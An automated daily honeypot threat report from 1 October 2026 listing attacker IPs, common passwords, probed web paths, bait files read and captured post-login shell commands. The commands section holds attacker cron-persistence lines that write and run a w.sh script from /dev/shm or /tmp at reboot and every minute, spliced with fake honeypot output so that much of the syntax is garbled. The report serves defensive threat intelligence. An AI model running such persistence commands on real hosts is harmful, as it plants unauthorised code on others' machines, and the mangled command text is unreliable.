Thursday, 1 October 2026 💀 critical

Daily Threat Report

122 SSH Connections
59 Login Attempts
63 Commands Run
23 SSH Unique IPs
2,687 Protocol Events
100 Protocol IPs
67 Web Hits
26 Web Service IPs

Top Attacker IPs

  1. 🌐 181.188.176.251 BGP↗
  2. 🌐 182.190.223.87 BGP↗
  3. 🌐 175.107.233.171 BGP↗
  4. 🌐 115.48.38.40 BGP↗
  5. 🌐 103.18.14.125 BGP↗

Top Passwords Tried

  1. abc123
  2. zXJl@mwZ
  3. t00r!@!
  4. 740316
  5. vice

🌐 WEB HONEYPOT — HoneyAI HTTP

AI-generated fake HTTP responses served to 67 scanner requests from 26 unique IPs (local, offline).

Top Paths Probed

  1. /
  2. /favicon.ico
  3. /SDK/webLanguage
  4. /login
  5. /zc?action=getInfo

Top User-Agents

  1. Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
  2. Go-http-client/1.1
  3. Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
  4. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
  5. Mozilla/5.0 (compatible)
# Automatic multi-platform threat intel reporting
$ honeypot-report.sh --since 24h
→ 132 IPs → AbuseIPDB  (community confidence scores updated)
→ 132 IPs → AlienVault OTX  (pulse indicators added)
→ 132 IPs → Blocklist.de  (auto-ban list updated)
→ 132 IPs → DShield/SANS  (global threat feed updated)

🍯 HONEYPOT FILES ACCESSED

Bait files attackers tried to read after SSH login. All data is fake — but their intent is very real.

📄
CRON=$_dq$(crontab -l 2>/dev/null || true)$_dq
Fake honeypot file
📄
echo $_dq$CRON$_dq | grep -F 'bash: warning: setlocale: LC_CTYPE: cannot change locale (LC_ALL is not set)
Fake honeypot file
⚙️
cat: .env: Is a directory
Environment secrets (fake DB/Stripe/AWS keys)
📋
grep: config.json: No such file or directory
App config with credentials (fake)
📄
ls: /dev/shm: Is a directory
Fake honeypot file
📄
ls: /tmp: Is a directory
Fake honeypot file
📄
ls: //w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq' >/dev/null 2>&1 || \
Fake honeypot file
📄
printf '%s\n%s\n' $_dq@reboot bash: warning: setlocale: LC_CTYPE: cannot change locale (LC_ALL is not set)
Fake honeypot file
⚙️
cat: .env: Is a directory
Environment secrets (fake DB/Stripe/AWS keys)
📋
grep: config.json: No such file or directory
App config with credentials (fake)
📄
ls: /dev/shm: Is a directory
Fake honeypot file
📄
ls: /tmp: Is a directory
Fake honeypot file
📄
ls: //w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq$_dq $_dq0 * * * * cd $_dqbash: warning: setlocale: LC_CTYPE: cannot change locale (LC_ALL is not set)
Fake honeypot file
⚙️
cat: .env: Is a directory
Environment secrets (fake DB/Stripe/AWS keys)
📋
grep: config.json: No such file or directory
App config with credentials (fake)
📄
ls: /dev/shm: Is a directory
Fake honeypot file
📄
ls: /tmp: Is a directory
Fake honeypot file
📄
ls: /$_dq && ./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq$_dq | (cat -; echo $_dq$CRON$_dq) | crontab -
Fake honeypot file
📄
cd $_dqbash: warning: setlocale: LC_CTYPE: cannot change locale (LC_ALL is not set)
Fake honeypot file
⚙️
cat: .env: Is a directory
Environment secrets (fake DB/Stripe/AWS keys)
📋
grep: config.json: No such file or directory
App config with credentials (fake)
📄
ls: /dev/shm: Is a directory
Fake honeypot file
📄
ls: /tmp: Is a directory
Fake honeypot file
📄
ls: /$_dq && if [ ! -f $_dqw.sh$_dq ]; then cat > $_dqw.sh$_dq && chmod +x w.sh; fi
Fake honeypot file

🎣 AWS credentials include a Canarytoken — if anyone uses these keys, we receive an alert with their real IP.

🤣 ATTACKER COMEDY CORNER

Real attempts. No actors were harmed in the making of this honeypot.

🔑 Hall of Shame — Passwords

asdfghjkl;
U_tywg_2008
401hk!@#
zXJl@mwZ
q1w2e3r4t5y

💻 Commands They Tried

CRON=$_dq$(crontab -l 2>/dev/null || true)$_dq
echo $_dq$CRON$_dq | grep -F '#!/bin/bash
echo $_dqDetected incoming SSH data from client.$_dq
for dir in $_dq$@$_dq
do
if [ -d $_dq$dir$_dq ]; then
echo $_dqChanging directory to: $dir$_dq
cd $_dq$dir$_dq || true
break
fi
done
echo $_dqCurrent/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq' >/dev/null 2>&1 || \
printf '%s\n%s\n' $_dq@reboot #!/bin/bash
echo $_dqDetected incoming SSH data from client.$_dq
for dir in $_dq$@$_dq
do
if [ -d $_dq$dir$_dq ]; then
echo $_dqChanging directory to: $dir$_dq
cd $_dq$dir$_dq || true
break
fi
done
echo $_dqCurrent/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq$_dq $_dq0 * * * * cd $_dq#!/bin/bash
echo $_dqDetected incoming SSH data from client.$_dq
for dir in $_dq$@$_dq
do
if [ -d $_dq$dir$_dq ]; then
echo $_dqChanging directory to: $dir$_dq
cd $_dq$dir$_dq || true
break
fi
done
echo $_dqCurrent$_dq && ./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq$_dq | (cat -; echo $_dq$CRON$_dq) | crontab -
CRON=$_dq$(crontab -l 2>/dev/null || true)$_dq
echo $_dq$CRON$_dq | grep -F 'bash: warning: setlocale: LC_CTYPE: cannot change locale (LC_ALL is not set)
cat: .env: Is a directory
grep: config.json: No such file or directory
ls: /dev/shm: Is a directory
ls: /tmp: Is a directory
ls: //w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq' >/dev/null 2>&1 || \
printf '%s\n%s\n' $_dq@reboot bash: warning: setlocale: LC_CTYPE: cannot change locale (LC_ALL is not set)
cat: .env: Is a directory
grep: config.json: No such file or directory
ls: /dev/shm: Is a directory
ls: /tmp: Is a directory
ls: //w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq$_dq $_dq0 * * * * cd $_dqbash: warning: setlocale: LC_CTYPE: cannot change locale (LC_ALL is not set)
cat: .env: Is a directory
grep: config.json: No such file or directory
ls: /dev/shm: Is a directory
ls: /tmp: Is a directory
ls: /$_dq && ./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq$_dq | (cat -; echo $_dq$CRON$_dq) | crontab -
CRON=$_dq$(crontab -l 2>/dev/null || true)$_dq
echo $_dq$CRON$_dq | grep -F 'Executing shell command: sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done'/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq' >/dev/null 2>&1 || \
printf '%s\n%s\n' $_dq@reboot Executing shell command: sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done'/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq$_dq $_dq0 * * * * cd $_dqExecuting shell command: sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done'$_dq && ./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq$_dq | (cat -; echo $_dq$CRON$_dq) | crontab -
CRON=$_dq$(crontab -l 2>/dev/null || true)$_dq
echo $_dq$CRON$_dq | grep -F 'bash-4.4# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq' >/dev/null 2>&1 || \
printf '%s\n%s\n' $_dq@reboot bash-4.4# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq$_dq $_dq0 * * * * cd $_dqbash-4.4# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done$_dq && ./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq$_dq | (cat -; echo $_dq$CRON$_dq) | crontab -
CRON=$_dq$(crontab -l 2>/dev/null || true)$_dq
echo $_dq$CRON$_dq | grep -F 'Executing requested command.../w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq' >/dev/null 2>&1 || \
printf '%s\n%s\n' $_dq@reboot Executing requested command.../w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq$_dq $_dq0 * * * * cd $_dqExecuting requested command...$_dq && ./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 az$_dq$_dq | (cat -; echo $_dq$CRON$_dq) | crontab -

These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.

Automated report for 1 de octubre de 2026. Recorded 122 SSH connections and 2687 multi-protocol decoy events on HoneyAI, from 123 unique IPs. 132 IPs were automatically reported to the AbuseIPDB community database.

SSH Activity (HoneyAI)

The SSH service received 59 login attempts from 23 unique IPs. Attackers executed 63 commands after gaining simulated system access.

Multi-Protocol Decoys (HoneyAI)

Detected 2687 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 100 distinct IPs. All events are access attempts against simulated production services.

HTTP Web Service (HoneyAI)

The web service received 67 HTTP requests from real scanners across 26 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).

MCP Agent Trap

The MCP decoy server received 6 requests from 2 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.

MSSQL / SNMP Honeypots

The MSSQL decoy received 676 authentication events from 1 IPs. The SNMP trap received 36 queries from 16 IPs probing community strings and OIDs.

Portscan Detection

Detected 0 incoming port scan events from 0 unique IPs.

AI Defense Stats

Blocked 0 prompt injection attempts and 16 identity leak attempts.

Active Defense (Operation Spine)

HoneyAI performed 0 reverse port scans back to active attacker IPs. Out of these, 0 hosts were found running open public services, allowing backfire profiling.

Network IDS (Suricata)

The network intrusion detection system generated 7168 alerts from 562 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.

← All Reports 🛡️ Subscribe to blocklists →